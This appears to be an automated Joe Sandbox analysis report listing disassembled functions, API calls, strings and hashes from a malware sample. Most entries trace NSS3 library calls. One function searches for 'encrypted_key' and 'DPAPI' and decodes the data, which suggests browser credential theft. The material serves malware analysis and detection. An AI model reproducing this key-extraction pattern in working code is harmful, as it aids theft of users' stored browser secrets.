String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: c476f9d7c407f67fa306185d2f91ee73a1dd6245da52a8fed29d894e990ad9ed
Instruction ID: df9ab84068845aeb8cca2290d72b1d92c696e6c9d891e0fcf4bc98d0fa01601f
Opcode Fuzzy Hash: c476f9d7c407f67fa306185d2f91ee73a1dd6245da52a8fed29d894e990ad9ed
Instruction Fuzzy Hash: 7C01A7A170271127F6202B7B5F4DF16655C9F4225DF140831FE04E1F42FAA6E61480F5

Function 00411520 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411557
strtok_s.MSVCRT ref: 004119A0

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,0085DAF0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: bda9ece019fec45989a0fac33e763ec2645a230b38903ad477536e26a0420bf4
Instruction ID: 972b35e280e46cb9f8f2efccef7ae82ad5cc4b0fb079cf0b80f28d4141883f35
Opcode Fuzzy Hash: bda9ece019fec45989a0fac33e763ec2645a230b38903ad477536e26a0420bf4
Instruction Fuzzy Hash: 98C1D1B5A011089BCB14EF60DC99FDA7379AF58308F00449EF509A7282EB34EAD5CF95

Function 004144D0 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004144EE
memset.MSVCRT ref: 00414505

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 0041453C
lstrcatA.KERNEL32(?,00860D68), ref: 0041455B
lstrcatA.KERNEL32(?,?), ref: 0041456F
lstrcatA.KERNEL32(?,00860B10), ref: 00414583

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F20: GetFileAttributesA.KERNEL32(00000000,?,00410277,?,00000000,?,00000000,00420DB2,00420DAF), ref: 00418F2F

Part of subcall function 0040A430: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 0040A489
Part of subcall function 0040A430: memcmp.MSVCRT(?,DPAPI,00000005), ref: 0040A4E2

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00419550: GlobalAlloc.KERNEL32(00000000,0041462D,0041462D), ref: 00419563

StrStrA.SHLWAPI(?,00862100), ref: 00414643
GlobalFree.KERNEL32(?), ref: 00414762

Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
Part of subcall function 0040A210: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
Part of subcall function 0040A210: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrcatA.KERNEL32(?,00000000), ref: 004146F3
StrCmpCA.SHLWAPI(?,004208D2), ref: 00414710
lstrcatA.KERNEL32(00000000,00000000), ref: 00414722
lstrcatA.KERNEL32(00000000,?), ref: 00414735
lstrcatA.KERNEL32(00000000,00420FA0), ref: 00414744

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: 011e4ea173f0192533f32a7e50ccf1eae9d7a4310398b83163c7fce0874e5724
Instruction ID: a18e5ba717d90c20c2426d83a13a237c0a2f648a3df755456e30f39b11c63a78
Opcode Fuzzy Hash: 011e4ea173f0192533f32a7e50ccf1eae9d7a4310398b83163c7fce0874e5724
Instruction Fuzzy Hash: B77157B6D00218ABDB14EBA0DD45FDE737AAF88304F00459DF505A6191EB38EB94CF55

Function 6C774E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C7378F8), ref: 6C774E6D

Part of subcall function 6C7109E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C7106A2,00000000,?), ref: 6C7109F8
Part of subcall function 6C7109E0: malloc.MOZGLUE(0000001F), ref: 6C710A18
Part of subcall function 6C7109E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C710A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C7378F8), ref: 6C774ED9

Part of subcall function 6C765920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C767703,?,00000000,00000000), ref: 6C765942
Part of subcall function 6C765920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C767703), ref: 6C765954
Part of subcall function 6C765920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C76596A
Part of subcall function 6C765920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C765984
Part of subcall function 6C765920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C765999
Part of subcall function 6C765920: free.MOZGLUE(00000000), ref: 6C7659BA
Part of subcall function 6C765920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C7659D3
Part of subcall function 6C765920: free.MOZGLUE(00000000), ref: 6C7659F5
Part of subcall function 6C765920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C765A0A
Part of subcall function 6C765920: free.MOZGLUE(00000000), ref: 6C765A2E
Part of subcall function 6C765920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C765A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774EB3

Part of subcall function 6C774820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C774EB8,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C77484C
Part of subcall function 6C774820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C774EB8,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C77486D
Part of subcall function 6C774820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C774EB8,?), ref: 6C774884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774EC0

Part of subcall function 6C774470: TlsGetValue.KERNEL32(00000000,?,6C737296,00000000), ref: 6C774487
Part of subcall function 6C774470: EnterCriticalSection.KERNEL32(?,?,?,6C737296,00000000), ref: 6C7744A0
Part of subcall function 6C774470: PR_Unlock.NSS3(?,?,?,?,6C737296,00000000), ref: 6C7744BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774F8F
PK11_UpdateSlotAttribute.NSS3(?,6C84DCB0,00000000), ref: 6C774FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C77501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C77506B

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: e948d2c30450b6e2b5059cf73cc2f519a7dbcdc98a5fa15b28e7627961ce37e7
Instruction ID: 6b459c9958c03ca0b21b6523fc533f084da24d2fabf82d868210feedd5fe164e
Opcode Fuzzy Hash: e948d2c30450b6e2b5059cf73cc2f519a7dbcdc98a5fa15b28e7627961ce37e7
Instruction Fuzzy Hash: FB51B4B19012099BDF219F34EE0D6AB36B4EF0535CF180635E81696A12FB31D525CAE2

Function 6C71ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C71ACE2
malloc.MOZGLUE(00000001), ref: 6C71ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C71AD02
TlsGetValue.KERNEL32 ref: 6C71AD3C
calloc.MOZGLUE(00000001,?), ref: 6C71AD8C
PR_Unlock.NSS3 ref: 6C71ADC0
free.MOZGLUE(00000000), ref: 6C71AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C71AE58
free.MOZGLUE(00000000), ref: 6C71AE69
free.MOZGLUE(?), ref: 6C71AE78
PR_Unlock.NSS3 ref: 6C71AE8C
free.MOZGLUE(?), ref: 6C71AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C71AEC7

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: e32d706a6e17769db69e4f06de8c020769d6f692b4e3268defe283c6d7934dce
Instruction ID: f58d487d7facbfa2e5837bc68a090e652c4c54e59d946a8323b6f0fe7c5bc906
Opcode Fuzzy Hash: e32d706a6e17769db69e4f06de8c020769d6f692b4e3268defe283c6d7934dce
Instruction Fuzzy Hash: 3F51B3B0E052158BDF21DF98CA4A66EB7B4AB0635DF080135D854A3F11E731AD1CCBE2

Function 6C75ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C75ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C75AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C75AE29

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C75AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C75AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C75AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C75AEA0

Strings

(CK_INVALID_HANDLE), xrefs: 6C75AE1F, 6C75AE80
C_MessageSignInit, xrefs: 6C75ADE1
hKey = 0x%x, xrefs: 6C75AE62, 6C75AE72
hSession = 0x%x, xrefs: 6C75AE01, 6C75AE11

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 16b420872507097272c10ef0a1b70cf17fe8debb1da6900e305abe61c59b2a69
Instruction ID: 2aaab10cc2f103b7b46b7a73c79d3f6fea8fbfc005489d86cd33906f96ad86bb
Opcode Fuzzy Hash: 16b420872507097272c10ef0a1b70cf17fe8debb1da6900e305abe61c59b2a69
Instruction Fuzzy Hash: 2831FA35702214ABCB209F58DE8DBBE3779AB4631DF854835E4095BB41DF34A828DBE1

Function 6C7F4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C7F4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7F4CFD
sqlite3_value_text16.NSS3(?), ref: 6C7F4D44

Strings

out of memory, xrefs: 6C7F4C78, 6C7F4C9E
another row available, xrefs: 6C7F4D20
bad parameter or other API misuse, xrefs: 6C7F4D05
no more rows available, xrefs: 6C7F4D2E
unknown error, xrefs: 6C7F4D56
invalid, xrefs: 6C7F4CF1
abort due to ROLLBACK, xrefs: 6C7F4D27, 6C7F4D33
API call with %s database connection pointer, xrefs: 6C7F4CF6

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: bc36eecb80e3fbc46a7125e4148019f45bdf482a8116e9ec049b22d570927914
Instruction ID: a64946557fbb0d7281f6ba42c73e5b7a95b47ad419970774ca6581dff8d7bdef
Opcode Fuzzy Hash: bc36eecb80e3fbc46a7125e4148019f45bdf482a8116e9ec049b22d570927914
Instruction Fuzzy Hash: 5D31AA73A0882067D7280628ABA67E57321778331CF592935C9384BF55DB21AC27F3F2

Function 6C752DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C752DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C752E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C752E33

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C752E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C752E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C752E81

Strings

pPin = 0x%p, xrefs: 6C752E63
(CK_INVALID_HANDLE), xrefs: 6C752E2C
ulPinLen = %d, xrefs: 6C752E7C
hSession = 0x%x, xrefs: 6C752E0E, 6C752E1E
C_InitPIN, xrefs: 6C752DF1

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: a3a4ec8405d6d5c855ae9b208d231c359309b1da5c93d3db14973b7e75d34d06
Instruction ID: e5bf67e7741de8402827edc6b7ac825ded602505fdd23cdafcf57d9b3765308b
Opcode Fuzzy Hash: a3a4ec8405d6d5c855ae9b208d231c359309b1da5c93d3db14973b7e75d34d06
Instruction Fuzzy Hash: 6B31E475702158ABDB309B58CE8CB5E37B9AB4331DF454434E808A7B11DF34A818CBD1

Function 6C7F2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C7F2D9F

Part of subcall function 6C6ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C70F9C9,?,6C70F4DA,6C70F9C9,?,?,6C6D369A), ref: 6C6ACA7A
Part of subcall function 6C6ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6ACB26

sqlite3_exec.NSS3(?,?,6C7F2F70,?,?), ref: 6C7F2DF9
sqlite3_free.NSS3(00000000), ref: 6C7F2E2C
sqlite3_free.NSS3(?), ref: 6C7F2E3A
sqlite3_free.NSS3(?), ref: 6C7F2E52
sqlite3_mprintf.NSS3(6C85AAF9,?), ref: 6C7F2E62
sqlite3_free.NSS3(?), ref: 6C7F2E70
sqlite3_free.NSS3(?), ref: 6C7F2E89
sqlite3_free.NSS3(?), ref: 6C7F2EBB
sqlite3_free.NSS3(?), ref: 6C7F2ECB
sqlite3_free.NSS3(00000000), ref: 6C7F2F3E
sqlite3_free.NSS3(?), ref: 6C7F2F4C

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: d51c9f2d0ffca823f9f6f92f13277419e8d249bd5c4ff27a13a190da6db0c58a
Instruction ID: 0db41ff203cac6b621de6115713cef5e0487c65627abe610d6297ef3ae8656f6
Opcode Fuzzy Hash: d51c9f2d0ffca823f9f6f92f13277419e8d249bd5c4ff27a13a190da6db0c58a
Instruction Fuzzy Hash: 54618CB5E012459BEB00CFA8D989B9EB7B5BF49348F244038DC25A7701E731E846CBA5

Function 6C737C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C882120,Function_00097E60,00000000,?,?,?,?,6C7B067D,6C7B1C60,00000000), ref: 6C737C81

Part of subcall function 6C6A4C70: TlsGetValue.KERNEL32(?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4C97
Part of subcall function 6C6A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CB0
Part of subcall function 6C6A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CC9

TlsGetValue.KERNEL32 ref: 6C737CA0
EnterCriticalSection.KERNEL32(?), ref: 6C737CB4
PR_Unlock.NSS3 ref: 6C737CCF

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

TlsGetValue.KERNEL32 ref: 6C737D04
EnterCriticalSection.KERNEL32(?), ref: 6C737D1B
realloc.MOZGLUE(-00000050), ref: 6C737D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C737DF4
PR_Unlock.NSS3 ref: 6C737E0E

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 8adce170673e5ee7e1e17764d08692ea2ffbeb73f5195bc315e6290fbe0400ba
Instruction ID: b217bd0413c221fc8682b0a77a11949795365fc4c7339a2dc0260137428498cc
Opcode Fuzzy Hash: 8adce170673e5ee7e1e17764d08692ea2ffbeb73f5195bc315e6290fbe0400ba
Instruction Fuzzy Hash: B8511475A46121DFDB229F28CB49A6577B5EB4331CF255039ED0847B63EB34E860CAC1

Function 6C6A4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4D97
PR_Lock.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4DBA
PR_WaitCondVar.NSS3 ref: 6C6A4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4DEF

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
